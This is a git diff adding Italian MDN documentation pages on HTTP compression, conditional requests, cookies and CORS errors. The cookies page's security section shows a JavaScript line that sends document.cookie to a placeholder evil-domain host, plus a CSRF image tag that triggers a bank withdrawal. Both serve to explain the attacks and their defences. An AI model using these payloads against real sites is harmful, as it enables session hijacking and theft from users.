Tutti i browser e server moderni lo supportano e l'unica cosa da negoziare è l'algoritmo di compressione da utilizzare. Questi algoritmi sono ottimizzati per il testo. Negli anni '90, la tecnologia di compressione stava avanzando a un ritmo rapido e numerosi algoritmi successivi sono stati aggiunti alla serie di scelte possibili. Al giorno d'oggi, solo due sono rilevanti: gzip, il più comune, e br il nuovo sfidante.

+ +

Per selezionare l'algoritmo da utilizzare, i browser e i server utilizzano la negoziazione proattiva dei contenuti. Il browser invia un'intestazione {{HTTPHeader ("Accept-Encoding")}} con l'algoritmo che supporta e il suo ordine di precedenza, il server ne sceglie uno, lo utilizza per comprimere il corpo della risposta e utilizza {{HTTPHeader (" Content-Encoding ")}} per indicare al browser l'algoritmo che ha scelto. Poiché la negoziazione del contenuto è stata utilizzata per scegliere una rappresentazione basata sulla sua codifica, il server deve inviare un'intestazione {{HTTPHeader ("Vary")}} contenente almeno {{HTTPHeader ("Accept-Encoding")}} accanto a questa intestazione in la risposta; in questo modo, le cache saranno in grado di memorizzare nella cache le diverse rappresentazioni della risorsa.

+ +

+ +

Poiché la compressione apporta miglioramenti significativi alle prestazioni, si consiglia di attivarla per tutti i file, ma già compressi come immagini, file audio e video.

+ +

Apache supporta la compressione e utilizza mod_deflate; per nginx c'è ngx_http_gzip_module; per IIS, l'elemento <httpCompression>.

+ +

Hop-by-hop compression

+ +

La compressione hop-by-hop, sebbene simile alla compressione end-to-end, differisce per un elemento fondamentale: la compressione non avviene sulla risorsa nel server, creando una rappresentazione specifica che viene poi trasmessa, ma sul corpo di il messaggio tra due nodi qualsiasi sul percorso tra il client e il server. Le connessioni tra i nodi intermedi successivi possono applicare una compressione diversa.

+ +

+ +

Per fare ciò, HTTP utilizza un meccanismo simile alla negoziazione del contenuto per la compressione end-to-end: il nodo che trasmette la richiesta annuncia la sua volontà utilizzando l'intestazione {{HTTPHeader ("TE")}} e l'altro nodo sceglie il metodo adeguato , lo applica e indica la sua scelta con l'intestazione {{HTTPHeader ("Transfer-Encoding")}}.

+ +

+ +

I

+ +

In pratica, la compressione hop-by-hop è trasparente per il server e il client ed è usata raramente. {{HTTPHeader ("TE")}} e {{HTTPHeader ("Transfer-Encoding")}} sono usati principalmente per inviare una risposta a blocchi, consentendo di iniziare a trasmettere una risorsa senza conoscerne la lunghezza.

+ +

Si noti che l'utilizzo di {{HTTPHeader ("Transfer-Encoding")}} e la compressione a livello di hop è così raro che la maggior parte dei server, come Apache, nginx o IIS, non ha un modo semplice per configurarlo. Tale configurazione di solito avviene a livello di proxy.

diff --git a/files/it/web/http/conditional_requests/index.html b/files/it/web/http/conditional_requests/index.html new file mode 100644 index 0000000000..f8cfdbee7f --- /dev/null +++ b/files/it/web/http/conditional_requests/index.html @@ -0,0 +1,144 @@ +--- +title: Richieste Condizionali HTTP +slug: Web/HTTP/Conditional_requests +translation_of: Web/HTTP/Conditional_requests +--- +

{{HTTPSidebar}}

+ +

HTTP ha il concetto delle richieste condizionali, dove il risultato, e addirittura il successi di una richiesta, può essere cambiato comparando la risorsa coinvolta con il valore di un validator. Questo tipo di richieste può essere utile per validare il contenuto di una cache, risparmiando un controllo inutile, per verificare l'integrità di un documento, per esempio quando si fa ripartire un download, o quando si previene la perdita di update, quando si fa l'upload o la modifica di un documento su un server.

+ +

Principi

+ +

Le richieste condizionali HTTP sono richieste che sono eseguite differnetemente, in base al valore di specifici headers. Questi headers definiscono una precondizione, e il risultato della richiesta cambierà se la precondizione è soddisfatta o no .

+ +

I diversi comportamenti sono definiti dal metodo di richiesta usato, e dagli headers usati per  una precondizione:

+ + + +

Validatori

+ +

Tutti gli header condizionali provano a controllare se la risorsa contenuta nel sever corrisponde a una versione specifica. Per fare questo,la richiesta condizionale deve indicare la versione della risorsa. Visto che comparare l'intera risorsa byte per byte è impraticabile, è non sempre è quello che si vuole, la richiesta trasmette un valore che descrive la  versione. Questi valore sono chiamati validatori,  e possono essere di due tipi:

+ + + +

Comparare le versioni della stessa risorsa è un po difficile: a seconda del contesto, ci possono essere due tipi di equality checks:

+ + + +

Il tipo di validazione è indipendente dal validatore usato. Sia {{HTTPHeader("Last-Modified")}} che {{HTTPHeader("ETag")}} permettono entrambi i tipi di validazione, anche se la complessità per implentarli nel lato server può variare. HTTP usa la validazione forte di default, e specifica quando la validazione debole può essere usata.

+ +

Validazione forte

+ +

La validazione forte consiste nel garantire che la risorsa è, byte per byte, uguale a quella a qui è comparata. Questo è mandatoria per alcuni header condizionali, e il default per altri. La validazione forte è molto stringente e può essere difficile da garantire a livello server, ma garantisce che non ci siano perdite di dati, a volte a spese delle peroformace.

+ +

E' abbastanza difficile avere un identificatore unico per la validazione forte con {{HTTPHeader("Last-Modified")}}. Spesso questo è fatto usando un {{HTTPHeader("ETag")}} con il MD5 hash della risorsa (o una derivata).

+ +

Validazione debole

+ +

La validazione debole è diversa dalla validazione forte, perchè considera due versioni del documento uguali se il loro contenuto è uguale. Per esempio,una pagina risulterebbe diversa da un altra solo con una data diversa nel footer, o un advertising diverso, verrebbe considerata uguale con la validazione debole. Queste due versioni sono considerate diverse quando si usa la validazione forte. Creare un sistema di etags che crea validazione debole può essere complesso, perchè involve sapere l'importaza dei diversi elementi della pagina, ma è molto utile per ottimizzare le performance della cache.

+ +

Headers condizionali

+ +

Diversi HTTP header, chiamati header condizionali, portano a richieste condizionali. Queste sono:

+ +
+
{{HTTPHeader("If-Match")}}
+
Ha sucesso se l'{{HTTPHeader("ETag")}} della risorsa remota è uguale a quello incluso in questo header. Di default, a meno che l'etag sia preceduto con 'W/', compie una validazione forte.
+
{{HTTPHeader("If-None-Match")}}
+
Ha successo se l'{{HTTPHeader("ETag")}} of the distant resource is different to each listed in this header. By default, unless the etag is prefixed with 'W/', it performs a strong validation.
+
{{HTTPHeader("If-Modified-Since")}}
+
Ha successo se la data {{HTTPHeader("Last-Modified")}} della risorsa remota è più recente .
+
{{HTTPHeader("If-Unmodified-Since")}}
+
Ha successo se la data {{HTTPHeader("Last-Modified")}} della risorsa remota è più vecchia o la stessa dell'header.
+
{{HTTPHeader("If-Range")}}
+
Simile a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, ma può avere solo un singolo etag, o una data. Se fallisce, la richiesta range fallisce, e invece di una risposta {{HTTPStatus("206")}} Partial Content, un {{HTTPStatus("200")}} OK è mandato con la risorsa completa.
+
+ +

Casi d'uso

+ +

Cache update

+ +

L'uso più comune per le richieste condizionali è aggiornare la cache. Con una cache vuota, o senza una cache, la risorsa richiesta è mandata iindietro con uno stato di {{HTTPStatus("200")}} OK.

+ +

The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.

+ +

Insieme con la risorsa, i validatori sono mandato con gli header. In questo esempuo, entrambi {{HTTPHeader("Last-Modified")}} e {{HTTPHeader("ETag")}} sono mandati, ma sarebbe stato lo stesso anche se solo uno dei due fosse stato inviato. Questi validatori sono memorizzati nella cache insieme alla risorsa (come tutti gli headers) e saranno usati per creare le richieste condizionali, una volta che la cache diventa obsoleta.

+ +

Finche la cache non è obsoleta, non vengono emesse richieste. Ma una volta che diventa obsoleta, questo è controllato principalmente dall'header {{HTTPHeader("Cache-Control")}}, il client non usa il valore nella cache direttamente ma richiede una conditional request. Il valore del validatore è usato come parametro delgli header {{HTTPHeader("If-Modified-Since")}} e {{HTTPHeader("If-Match")}}.

+ +

Se la risorsa non è cambiata, il server ritorna una risposta {{HTTPStatus("304")}} Not Modified. Questo rende la cache nuova, e il client usa la risorsa contenuta nella cache. Anche se c'è un ciclo di richiesta/risposta che consuma alcune risorse, questo è più efficiente di trasmettere di nuovo l'intera risorsa  attraverso la rete.

+ +

With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.

+ +

Se la risorsa è cambiata, il server invia semplicemente un {{HTTPStatus("200")}}}. OK risposta, con la nuova versione della risorsa, come se la richiesta non fosse condizionata e il cliente usa questa nuova risorsa (e la mette in cache).

+ +

In the case where the resource was changed, it is sent back as if the request wasn't conditional.

+ +

Oltre all'impostazione dei validatori sul lato server, questo meccanismo è trasparente: tutti i browser gestiscono una cache e inviano tali richieste condizionali senza alcun lavoro speciale da parte degli sviluppatori Web.

+ +

Integrità di un download parziale

+ +

Il download parziale dei file è una funzionalità di HTTP che permette di riprendere le operazioni precedenti, risparmiando larghezza di banda e tempo, mantenendo le informazioni già ottenute:

+ +

A download has been stopped and only partial content has been retrieved.

+ +

Un server che supporta il download parziale lo trasmette inviando l'intestazione {{HTTPHeader ("Accept-Ranges")}}. Una volta che ciò accade, il client può riprendere il download inviando un'intestazione {{HTTPHeader("Ranges")}}} con gli intervalli mancanti:

+ +

The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.

+ +

Il principio è semplice, ma c'è un potenziale problema: se la risorsa scaricata è stata modificata tra i due download, gli intervalli ottenuti corrisponderanno a due diverse versioni della risorsa e il documento finale sarà corrotto.

+ +

Per evitare che ciò avvenga, vengono utilizzate richieste condizionate. Per le gamme, ci sono due modi per farlo. Quello più flessibile utilizza {{HTTPHeader("If-Unmodified-Since")}}} e {{HTTPHeader("If-Match")}} e il server restituisce un errore se la precondizione fallisce; il client quindi riavvia il download dall'inizio:

+ +

When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.

+ +

Anche se questo metodo funziona, aggiunge un ulteriore scambio di risposte/richieste quando il documento è stato modificato. Questo compromette le prestazioni, e HTTP ha un'intestazione specifica per evitare questo scenario: {{HTTPHeader("If-Range")}}:

+ +

The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.

+ +

Questa soluzione è più efficiente, ma leggermente meno flessibile, in quanto è possibile utilizzare un solo etag nella condizione. Raramente è necessaria una tale flessibilità aggiuntiva.

+ +

Evitare il problema dell'update perso con un blocco ottimista

+ +

Un'operazione comune nelle applicazioni Web è l'aggiornamento di un documento remoto. Questo è molto comune in qualsiasi file system o applicazione di controllo dei sorgenti, ma qualsiasi applicazione che permetta di memorizzare risorse remote necessita di un tale meccanismo. I siti Web comuni, come i wiki e altri CMS, hanno tale necessità.

+ +

Con il metodo {{HTTPMethod("PUT")}} si è in grado di implementarlo. Il client prima legge i file originali, li modifica e infine li spinge sul server:

+ +

Updating a file with a PUT is very simple when concurrency is not involved.

+ +

Purtroppo le cose diventano un po' imprecise non appena si tiene conto della concorrenza. Mentre un cliente sta modificando localmente la sua nuova copia della risorsa, un secondo cliente può recuperare la stessa risorsa e fare lo stesso sulla sua copia. Quello che succede dopo è molto spiacevole: quando si impegnano nuovamente sul server, le modifiche del primo client vengono scartate dal push del client successivo, in quanto questo secondo client non è a conoscenza delle modifiche apportate alla risorsa dal primo client. La decisione su chi vince non viene comunicata all'altra parte. Quali modifiche del client devono essere mantenute, variano in funzione della velocità con cui vengono effettuate; questo dipende dalle prestazioni dei client, del server e anche dell'operatore che modifica il documento presso il client. Il vincitore cambierà da una volta all'altra. Questo è un {{glossary ("race condition")}} e porta a comportamenti problematici, difficili da rilevare e da fare il debug:

+ +

When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!

+ +

Non c'è modo di affrontare questo problema senza infastidire uno dei due client. Tuttavia, gli aggiornamenti persi e le condizioni di gara sono da evitare. Vogliamo risultati prevedibili e ci aspettiamo che i clienti siano avvisati quando le loro modifiche vengono respinte.

+ +

Le richieste condizionali permettono di implementare l'algoritmo di blocco ottimistico (utilizzato dalla maggior parte dei wiki o dai sistemi di controllo delle sorgenti). Il concetto è quello di permettere a tutti i client di ottenere copie della risorsa, quindi lasciarli modificare localmente, controllando la concorrenza permettendo al primo client di presentare un aggiornamento. Tutti gli aggiornamenti successivi, basati sulla versione ormai obsoleta della risorsa, vengono respinti:

+ +

Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.

+ +

Questo è implementato utilizzando le intestazioni {{HTTPHeader("If-Match")}}} o {{HTTPHeader("If-Unmodified-Since")}}}. Se l'etag non corrisponde al file originale, o se il file è stato modificato da quando è stato ottenuto, la modifica viene semplicemente rifiutata con un {{HTTPStatus("412")}}} Precondition Failed error. petta poi al cliente affrontare l'errore: o notificando all'utente di ricominciare da capo (questa volta sulla versione più recente), o mostrando all'utente una diff di entrambe le versioni, aiutandolo a decidere quali modifiche desidera mantenere.

+ +

Gestire il primo upload di una risorsa

+ +

Il primo caricamento di una risorsa è un caso limite del precedente. Come ogni aggiornamento di una risorsa, è soggetto a una condizione di gara se due clienti cercano di eseguire in tempi simili.Per evitare questo, le richieste condizionate possono essere utilizzate: aggiungendo {{HTTPHeader("If-None-Match")}} con il valore speciale di '*', che rappresenta un qualsiasi etag. La richiesta avrà successo, solo se la risorsa non esisteva prima:

+ +

Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.

+ +

If-None-Match funzionerà solo con server conformi a HTTP/1.1 (e successivi). Se non si è sicuri che il server sarà conforme, è necessario prima emettere una richiesta {{HTTPMethod("HEAD")}} alla risorsa per verificarlo.

+ +

Conclusione

+ +

Le richieste condizionali sono una caratteristica chiave di HTTP, e permettono la construzione di efficienti e complicate applicazioni. Per il caching o la ripresa dei download, l'unico lavoro richiesto per i webmaster è quello di configurare correttamente il server; impostare gli etags corretti in alcuni ambienti può essere complicato. Una volta raggiunto, il browser servirà le richieste condizionali previste.

+ +

Per i meccanismi di chiusura, è l'opposto: Gli sviluppatori web devono emettere una richiesta con le intestazioni appropriate, mentre i webmaster possono per lo più fare affidamento sull'applicazione per effettuare i controlli per loro.

+ +

In entrambi i casi è chiaro, le richieste condizionali sono una caratteristica fondamentale del Web.

diff --git a/files/it/web/http/cookies/index.html b/files/it/web/http/cookies/index.html new file mode 100644 index 0000000000..6514b2fef7 --- /dev/null +++ b/files/it/web/http/cookies/index.html @@ -0,0 +1,193 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - HTTP + - cookie + - httponly + - samesite + - secure +translation_of: Web/HTTP/Cookies +--- +
{{HTTPSidebar}}
+ +

Un cookie HTTP (web cookie, cookie del browser) è un piccolo pezzo di dati che il server invia al browser dell'utente. Il browser può memorizzarlo e inviarlo allo stesso server nelle richieste successive. Tipicamente è utilizzato per stabilire se due richieste provengono dallo stesso browser, mantenendo ad esempio un utente loggato. Fornisce quindi informazioni stateful sopra al protocollo stateless HTTP.

+ +

I cookie sono principalmente usati per tre funzionalità:

+ +
+
Gestione della sessione
+
Login, carrello della spesa, punteggio dei giochi o qualsiasi altra cosa che il server deve ricordare
+
Personalizzazione
+
Preferenze dell'utente, temi e altre impostazioni
+
Tracciamento
+
Registrare e analizzare il comportamento dell'utente
+
+ +

Una volta i cookie venivano utilizzati come storage client-side. Anche se questo era concesso quando i cookie erano l'unico mezzo per salvare dati nel client, al giorno d'oggi è consigliato utilizzare le moderne API di salvataggio. I cookie sono inviati ad ogni richiesta, riducendo quindi le performance (specialmente nel caso di connessioni mobile). Le API di salvataggio moderne sono le cosidette Web storage API (localStorage e sessionStorage) e IndexedDB.

+ +
+

Per visualizzare i cookie salvati (e altri dati salvati che la pagina web può utilizzare) puoi abilitare lo Storage Inspector nei Developer Tools e selezionare Cookie dall'albero dello storage.

+
+ + + +

Quando una richiesta HTTP viene ricevuta, il server può rispondere con l'header HTTP {{HTTPHeader("Set-Cookie")}}. Il cookie viene solitamente memorizzato dal browser e inviato in ogni successiva richiesta allo stesso server tramite l'header HTTP {{HTTPHeader("Cookie")}}.  Una "data di scadenza" o durata può essere specificata, dopo la quale il cookie non viene più inviato. In aggiunta, restrizioni ad uno specifico dominio o percorso possono essere impostate, limitando le richieste nelle quali il cookie viene inviato.

+ + + +

L'header di risposta HTTP {{HTTPHeader("Set-Cookie")}} invia i cookie dal server all'utente. Un semplice cookie viene impostato come segue:

+ +
Set-Cookie: <cookie-name>=<cookie-value>
+ +

Questo header inviato dal server viene uilizzato per salvare un cookie nel client.

+ +
Nota: Come usare l'header Set-Cookie  in varie applicazioni server-side: + + +
+ +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]
+ +

Ora, in ogni nuova richiesta al server, il browser invierà indietro, utilizzando l'header {{HTTPHeader("Cookie")}}, tutti i cookie precedentemente ricevuti dal server.

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+ + + +

Il cookie creato sopra è un cookie di sessione: è cancellato quando il client termina, perchè non è stata specificata nessuna direttiva ExpiresMax-Age. Tuttavia il browser potrebbe usare il recupero di sessione e rendere il cookie di sessione permanente, come se il client non si disconnettesse.

+ + + +

Invece di scadere quando il client termina, i cookie permanenti  scadono in un periodo specifico (Expires) o dopo uno specifico intervallo di tempo (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+ +
+

Nota: Quando viene impostata una data di scadenza, l'ora e la data impostate sono relative al client su cui è impostato il cookie, non al server.

+
+ + + +

Un cookie sicuro viene inviato al server solo con una richiesta cifrata con il protocollo HTTPS. Anche con la direttiva Secure, informazioni sensibili non dovrebbero mai essere memorizzate nei cookie, siccome sono intrinsecamente non sicuri e questo flag non offre una protezione robusta. sensitive information should never be stored in cookies, as they are inherently insecure and this flag can't offer real protection. A partire da Chrome 52 e Firefox 52, siti non sicuri (http:) non possono impostare cookie con la direttiva Secure.

+ +

Per evitare attacchi di tipo cross-site scripting ({{Glossary("XSS")}}), i cookie impostati con la direttiva HttpOnly sono inaccessibili all'API {{domxref("Document.cookie")}} di JavaScript; vengono solamente inviati al server. Ad esempio, i cookie di sessione non hanno necessità di essere acceduti da JavaScript e dovrebbero per questo essere impostati con il flag HttpOnly.

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+ + + +

Le direttive Domain e Path definiscono lo scope del cookie: a quale URL il cookie dovrebbe essere inviato.

+ +

Domain specifica i domini consentiti a ricevere il cookie. Se non specificato, il valore di default corrisponde alla posizione corrente del documento, esclusi i sottodomini. Se Domain è specificato, i sottodomini sono sempre inclusi.

+ +

Ad esempio, se viene impostato Domain=mozilla.org , il cookie viene incluso in tutti i sottodomini come developer.mozilla.org.

+ +

Path indica un percorso URL che deve esistere nell'URL richiesto al fine di inviare il cookie tramite l'header Cookie. Il carattere %x2F ("/") è considerato un separatore di directory e anche le sottodirectory avranno un match.

+ +

Ad esempio, se viene impostato Path=/docs, questi pattern avranno una corrispondenza:

+ + + + + +

I cookie SameSite richiedono ad un browser che il cookie non venga inviato attraverso una richiesta cross-site, che può proteggere da attacchi di tipo cross-site request forgery ({{Glossary("CSRF")}}). I cookie SameSite sono ancora in fase di sperimentazione e non ancora supportati da tutti i browser.

+ +

JavaScript access using Document.cookie

+ +

I nuovi cookie possono anche essere creati tramite JavaScript usando la proprietà {{domxref ("Document.cookie")}}, e se il flag HttpOnly non è impostato, i cookie esistenti sono accessibili anche da JavaScript.

+ +
document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"
+ +

Per favore considera i problemi di sicurezza mostrati nella sezione Security qua sotto. I cookie disponibili al JavaScript possono essere rubati attraverso {{Glossary ("XSS")}}.

+ +

Sicurezza

+ +
+

Le informazioni riservate o sensibili non dovrebbero mai essere archiviate o trasmesse tramite i cookie HTTP, poiché l'intero meccanismo è intrinsecamente insicuro.

+
+ +

Furto di sessione e XSS

+ +

I cookie vengono spesso utilizzati nelle applicazioni web per identificare un utente e la relativa sessione autenticata, pertanto il furto di un cookie può comportare il "dirottamento" della sessione dell'utente autenticato. I metodi più comuni per rubare i cookie includono l'ingegneria sociale o l'utilizzo di una vulnerabilità {{Glossary ("XSS")}} nell'applicazione.

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+ +

L'attributo HttpOnly dei cookie può aiutare a mitigare questo attacco prevenendo l'accesso al cookie attraverso il JavaScript.

+ +

Cross-site request forgery (CSRF)

+ +

Wikipedia menziona un buon esempio per {{Glossary("CSRF")}}. In questa situazione, qualcuno include un'immagine che non è veramente un'immagine (per esempio in una chat o forum non filtrato), ma che in realtà è una richiesta di prelievo di contante al server della banca:

+ +
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+ +

Ora, se l'utente ha effettuato l'accesso al conto bancario e i cookie sono validi (e non ci sono altre convalide), il trasferimento di denaro avverrà non appena il codice HTML che contiene questa immagine verrà interpretato. Esistono alcune tecniche utilizzate per impedire che ciò accada:

+ + + +

Tracciamento e privacy

+ + + +

I cookie hanno un dominio ad essi associato. Se questo dominio è uguale al dominio della pagina in cui ci si trova, si dice che i cookie siano cookie first-party. Se il dominio è diverso, si dice che sia un cookie di terze parti. Mentre i cookie proprietari (first-party) vengono inviati solo al server che li imposta, una pagina web può contenere immagini o altri componenti memorizzati su server in altri domini (come i banner pubblicitari). I cookie inviati tramite questi componenti di terze parti sono denominati cookie di terze parti e vengono principalmente utilizzati per la pubblicità e il monitoraggio sul web. Vedi ad esempio i tipi di cookie utilizzati da Google. La maggior parte dei browser consente l'utlizzo dei cookie di terze parti di default, ma sono disponibili componenti aggiuntivi per bloccarli (ad esempio, Privacy Badger di EFF).

+ +

Se non stai divulgando informazioni riguardanti i cookie di terze parti, la fiducia dei consumatori potrebbe essere danneggiata se ne viene  scoperto l'utilizzo. Una chiara informativa (come in una politica sulla privacy) tende ad eliminare qualsiasi effetto negativo. Alcuni paesi hanno anche una legislazione sui cookie. Vedi ad esempio la dichiarazione sui cookie di Wikimedia Foundation.

+ +

Do-Not-Track

+ +

Sebbene non ci siano requisiti legali o tecnologici per il suo utilizzo, l'header HTTP {{HTTPHeader ("DNT")}} può essere utilizzato per segnalare che un'applicazione web deve disabilitare sia il suo tracciamento che il tracciamento cross-site del singolo utente. Vedi l'header {{HTTPHeader ("DNT")}} per maggiori informazioni.

+ + + +

I requisiti per i cookie in tutta l'UE sono definiti nella direttiva 2009/136/EC del Parlamento europeo e sono entrate in vigore il 25 Maggio 2011. Una direttiva non è una legge di per sé, ma un requisito per gli stati membri dell'UE di mettere in atto leggi che soddisfino i requisiti della direttiva. Le leggi effettive possono differire da paese a paese.

+ +

In breve la direttiva UE dice che prima che qualcuno possa memorizzare o recuperare qualsiasi informazione da un computer, dispositivo mobile o altro dispositivo, l'utente deve dare esplicito consenso al farlo. Molti siti web hanno aggiunto banner (Cookie banner) per informare gli utenti riguardo l'utilizzo dei cookie.

+ +

Per altro, leggi questa sezione di Wikipedia e consulta le leggi locali per le ultime e più accurate informazioni.

+ +

Zombie cookies and Evercookies

+ +

Un approccio più radicale ai cookie sono i cookie zombie e gli evercookie, che vengono ricreati appena cancellati e sono volutamente difficili da cancellare. Sfruttano le Web storage API, Flash Local Shared Objects e altre tecniche per ricreare se stessi quando l'assanza del cookie viene rilevata.

+ + + +

Vedi anche

+ + diff --git a/files/it/web/http/cors/errors/corsdidnotsucceed/index.html b/files/it/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..649cd4967e --- /dev/null +++ b/files/it/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,36 @@ +--- +title: 'Motivo : Richiesta CORS Fallita' +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +tags: + - CORS + - CORSDidNotSucceed + - Cross-Origin + - Errore + - HTTP + - HTTPS + - Messaggi + - Motivazioni + - Risoluzione Problemi + - Sicurezza + - console +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +
{{HTTPSidebar}}
+ +

Motivazione

+ +
Motivo : Richiesta CORS Fallita
+ +

Cosa è andato storto?

+ +

La richiesta HTTP che utilizza CORS non è andata a buon fine.

+ +

La connessione HTTP ha fallito per problemi di rete o a livello di protocollo. L'errore non è direttamente imputabile a CORS, ma è un errore di rete di qualche tipo.

+ +

Vedi Anche

+ + diff --git a/files/it/web/http/cors/errors/corsmissingalloworigin/index.html b/files/it/web/http/cors/errors/corsmissingalloworigin/index.html new file mode 100644 index 0000000000..aefad83858 --- /dev/null +++ b/files/it/web/http/cors/errors/corsmissingalloworigin/index.html @@ -0,0 +1,46 @@ +--- +title: 'Errore: CORS header ''Access-Control-Allow-Origin'' missing' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +

Motivo

+ +
Avviso: CORS header 'Access-Control-Allow-Origin' missing
+ +

Cos'è andato storto?

+ +

La risposta alla richiesta {{Glossary("CORS")}} manca dell'intestazione {{HTTPHeader("Access-Control-Allow-Origin")}}, usata per determinare se è possibile accedere alla risorsa partendo dal contenuto che opera nell'origine corrente.

+ +

Se il server è sotto il tuo controllo aggiungi l'origine del sito richiedente alla raccolta dei domini che hanno l'accesso all'intestazione Access-Control-Allow-Origin.

+ +

Ad esempio, per permettere al sito https://amazing.site di accedere alla risorsa che fa uso di CORS, l'intestazione dovrebbe essere la seguente:

+ +
Access-Control-Allow-Origin: https://amazing.site
+ +

Puoi anche configurare un sito in modo che permetta l'accesso ad ogni altro sito usando il carattere jolly "*". Da usare preferibilmente solo per API pubbliche. API private non dovrebbero far uso di "*" e dovrebbero avere un dominio specifico o un insieme di domini. In più il carattere jolly funziona solo per le richieste fatte con l'attributo {{htmlattrxref("crossorigin")}} impostato come "anonymous".

+ +
Access-Control-Allow-Origin: *
+ +
+

Attenzione: usare "*" per permettere a tutti i siti di accedere ad API private è una pessima idea per ragioni che dovrebbero essere ovvie.

+
+ +

 

+ +

Ad esempio, con Apache, aggiungi una riga come la seguente alla configurazione del server (all'interno della sezione <Directory>, <Location>, <Files> o <VirtualHost>). Tipicamente la configurazione si trova in un file .conf (comunemente httpd.conf e apache.conf), o in un file .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

Per Nginx, il comando per attivare l'intestazione è il seguente:

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ +

 

+ +

Vedi anche

+ + diff --git a/files/it/web/http/cors/errors/index.html b/files/it/web/http/cors/errors/index.html new file mode 100644 index 0000000000..d1dd12dc75 --- /dev/null +++ b/files/it/web/http/cors/errors/index.html @@ -0,0 +1,76 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +
{{HTTPSidebar}}
+ +

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) is a standard that allows a server to relax the same-origin policy. This is used to explicitly allow some cross-origin requests while rejecting others. For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.

+ +

If the CORS configuration isn't setup correctly, the browser console will present an error like "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.

+ +

Identifying the issue

+ +

To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:

+ +
    +
  1. Navigate to the web site or web app in question and open the Developer Tools.
  2. +
  3. Now try to reproduce the failing transaction and check the console if you are seeing a CORS violation error message. It will probably look like this:
  4. +
+ +

Firefox console showing CORS error

+ +

The text of the error message will be something similar to the following:

+ +
Cross-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at https://some-url-here. (Reason:
+additional information here).
+ +
+

Note: For security reasons, specifics about what went wrong with a CORS request are not available to JavaScript code. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.

+
+ +

CORS error messages

+ +

Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.

+ + + +

See also

+ + diff --git a/files/it/web/http/cors/index.html b/files/it/web/http/cors/index.html new file mode 100644 index 0000000000..dbf2293abc --- /dev/null +++ b/files/it/web/http/cors/index.html @@ -0,0 +1,565 @@ +--- +title: Cross-Origin Resource Sharing (CORS) +slug: Web/HTTP/CORS +tags: + - AJAX + - CORS + - Controllo accessi HTTP + - Cross-Origin Resource Sharing + - Fetch + - Fetch API + - HTTP + - Same-origin policy + - Security + - Sicurezza + - XMLHttpRequest +translation_of: Web/HTTP/CORS +--- +

Il Cross-Origin Resource Sharing ({{Glossary("CORS")}}) è un meccanismo che usa header {{Glossary("HTTP")}} addizionali per indicare a un browser che un'applicazione Web in esecuzione su un'origine (dominio) dispone dell'autorizzazione per accedere alle risorse selezionate da un server di origine diversa. Un'applicazione web invia una cross-origin HTTP request quando richiede una risorsa che ha un'origine (protocollo, dominio e porta) differente dalla propria.

+ +

Esempio di cross-origin request: Il codice Javascript di  frontend per un'applicazione web servita da http://domain-a.com utilizza {{domxref("XMLHttpRequest")}} per inviare una richiesta a http://api.domain-b.com/data.json.

+ +

Per ragioni di sicurezza, i browser limitano le cross-origin HTTP requests che vengono generate all'interno degli scripts. Ad esempio, XMLHttpRequest e la Fetch API seguono la same-origin policy. Ciò significa che un'applicazione web che utilizza queste API può solamente richiedere risorse HTTP dalla stessa origine di caricamento dell'applicazione, a meno che la risposta dall'altra origine includa i corretti header CORS.

+ +

+ +

